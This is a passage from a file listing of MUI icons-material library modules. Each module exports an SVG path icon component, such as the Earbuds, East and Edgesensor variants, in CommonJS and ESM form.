    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3c-2.76 0-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21 9.12 4.52 7.84 3.11 6.2 3 4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5M5 6c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1H5zm14 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1h1z\"\n}), 'EarbudsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.2 3.01C4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5s-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21c.11-1.68-1.17-3.1-2.8-3.2\"\n}), 'EarbudsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.2 3.01C4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5s-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21c.11-1.68-1.17-3.1-2.8-3.2\"\n}), 'EarbudsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.2 3.01C4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5s-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21c.11-1.68-1.17-3.1-2.8-3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3h3v6H6zm9 12h3v6h-3z\"\n}, \"1\")], 'EarbudsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.2 3.01C4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5s-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21c.11-1.68-1.17-3.1-2.8-3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3h3v6H6zm9 12h3v6h-3z\"\n}, \"1\")], 'EarbudsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6c0-.55-.45-1-1-1s-1 .45-1 1v1h1c.55 0 1-.45 1-1m10 12c0 .55.45 1 1 1s1-.45 1-1v-1h-1c-.55 0-1 .45-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 3c-2.76 0-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21 9.12 4.52 7.84 3.11 6.2 3 4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5M5 6c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1H5zm14 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1h1z\"\n}, \"1\")], 'EarbudsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EarbudsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6c0-.55-.45-1-1-1s-1 .45-1 1v1h1c.55 0 1-.45 1-1m10 12c0 .55.45 1 1 1s1-.45 1-1v-1h-1c-.55 0-1 .45-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 3c-2.76 0-5 2.24-5 5v8c0 1.66-1.34 3-3 3s-3-1.34-3-3V9h.83C7.44 9 8.89 7.82 9 6.21 9.12 4.52 7.84 3.11 6.2 3 4.44 2.89 3 4.42 3 6.19V16c0 2.76 2.24 5 5 5s5-2.24 5-5V8c0-1.66 1.34-3 3-3s3 1.34 3 3v7h-.83c-1.61 0-3.06 1.18-3.17 2.79-.12 1.69 1.16 3.1 2.8 3.21 1.76.12 3.2-1.42 3.2-3.18V8c0-2.76-2.24-5-5-5M5 6c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1H5zm14 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1h1z\"\n}, \"1\")], 'EarbudsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/East.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'East');"
  },
  {
    "path": "packages/mui-icons-material/lib/East.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'East');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.29 5.71c-.39.39-.39 1.02 0 1.41L18.17 11H3c-.55 0-1 .45-1 1s.45 1 1 1h15.18l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l5.59-5.59c.39-.39.39-1.02 0-1.41l-5.6-5.58c-.38-.39-1.02-.39-1.41 0\"\n}), 'EastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.29 5.71c-.39.39-.39 1.02 0 1.41L18.17 11H3c-.55 0-1 .45-1 1s.45 1 1 1h15.18l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l5.59-5.59c.39-.39.39-1.02 0-1.41l-5.6-5.58c-.38-.39-1.02-.39-1.41 0\"\n}), 'EastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EastTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 5-1.41 1.41L18.17 11H2v2h16.17l-4.59 4.59L15 19l7-7z\"\n}), 'EastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHigh.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-3-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHigh.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-3-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-3-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zM8 5V4h8v1z\"\n}), 'EdgesensorHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-3-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zM8 5V4h8v1z\"\n}), 'EdgesensorHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m-3 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m22-3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m-3 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m-3 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m22-3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m-3 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-1-8H6v20h12zm-2 15H8V7h8z\"\n}), 'EdgesensorHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7h2v7H3zm-3 3h2v7H0zm22-3h2v7h-2zm-3 3h2v7h-2zm-1-8H6v20h12zm-2 15H8V7h8z\"\n}), 'EdgesensorHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v1H8zm0 15h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 2.01 8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zm0-12H8V4h8zm3 5h2v7h-2zm3-3h2v7h-2zM3 7h2v7H3zm-3 3h2v7H0z\"\n}, \"1\")], 'EdgesensorHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorHighTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 4h8v1H8zm0 15h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 2.01 8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zm0-12H8V4h8zm3 5h2v7h-2zm3-3h2v7h-2zM3 7h2v7H3zm-3 3h2v7H0z\"\n}, \"1\")], 'EdgesensorHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zm-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorLow');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zm-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorLow');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zm-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zM8 5V4h8v1z\"\n}), 'EdgesensorLowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zm-4-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zM8 5V4h8v1z\"\n}), 'EdgesensorLowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m18 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m-5-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorLowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1V8c0-.55.45-1 1-1m18 3c.55 0 1 .45 1 1v5c0 .55-.45 1-1 1s-1-.45-1-1v-5c0-.55.45-1 1-1m-5-7.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 17H8V7h8z\"\n}), 'EdgesensorLowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zM6 2v20h12V2zm10 15H8V7h8z\"\n}), 'EdgesensorLowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h2v7H2zm18 3h2v7h-2zM6 2v20h12V2zm10 15H8V7h8z\"\n}), 'EdgesensorLowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 4h8v1H8zm0 15h8v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h2v7h-2zM2 7h2v7H2zm14-4.99L8 2c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V4c0-1.1-.9-1.99-2-1.99M16 20H8v-1h8zm0-3H8V7h8zm0-12H8V4h8z\"\n}, \"1\")], 'EdgesensorLowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EdgesensorLowTwoTone.mjs",
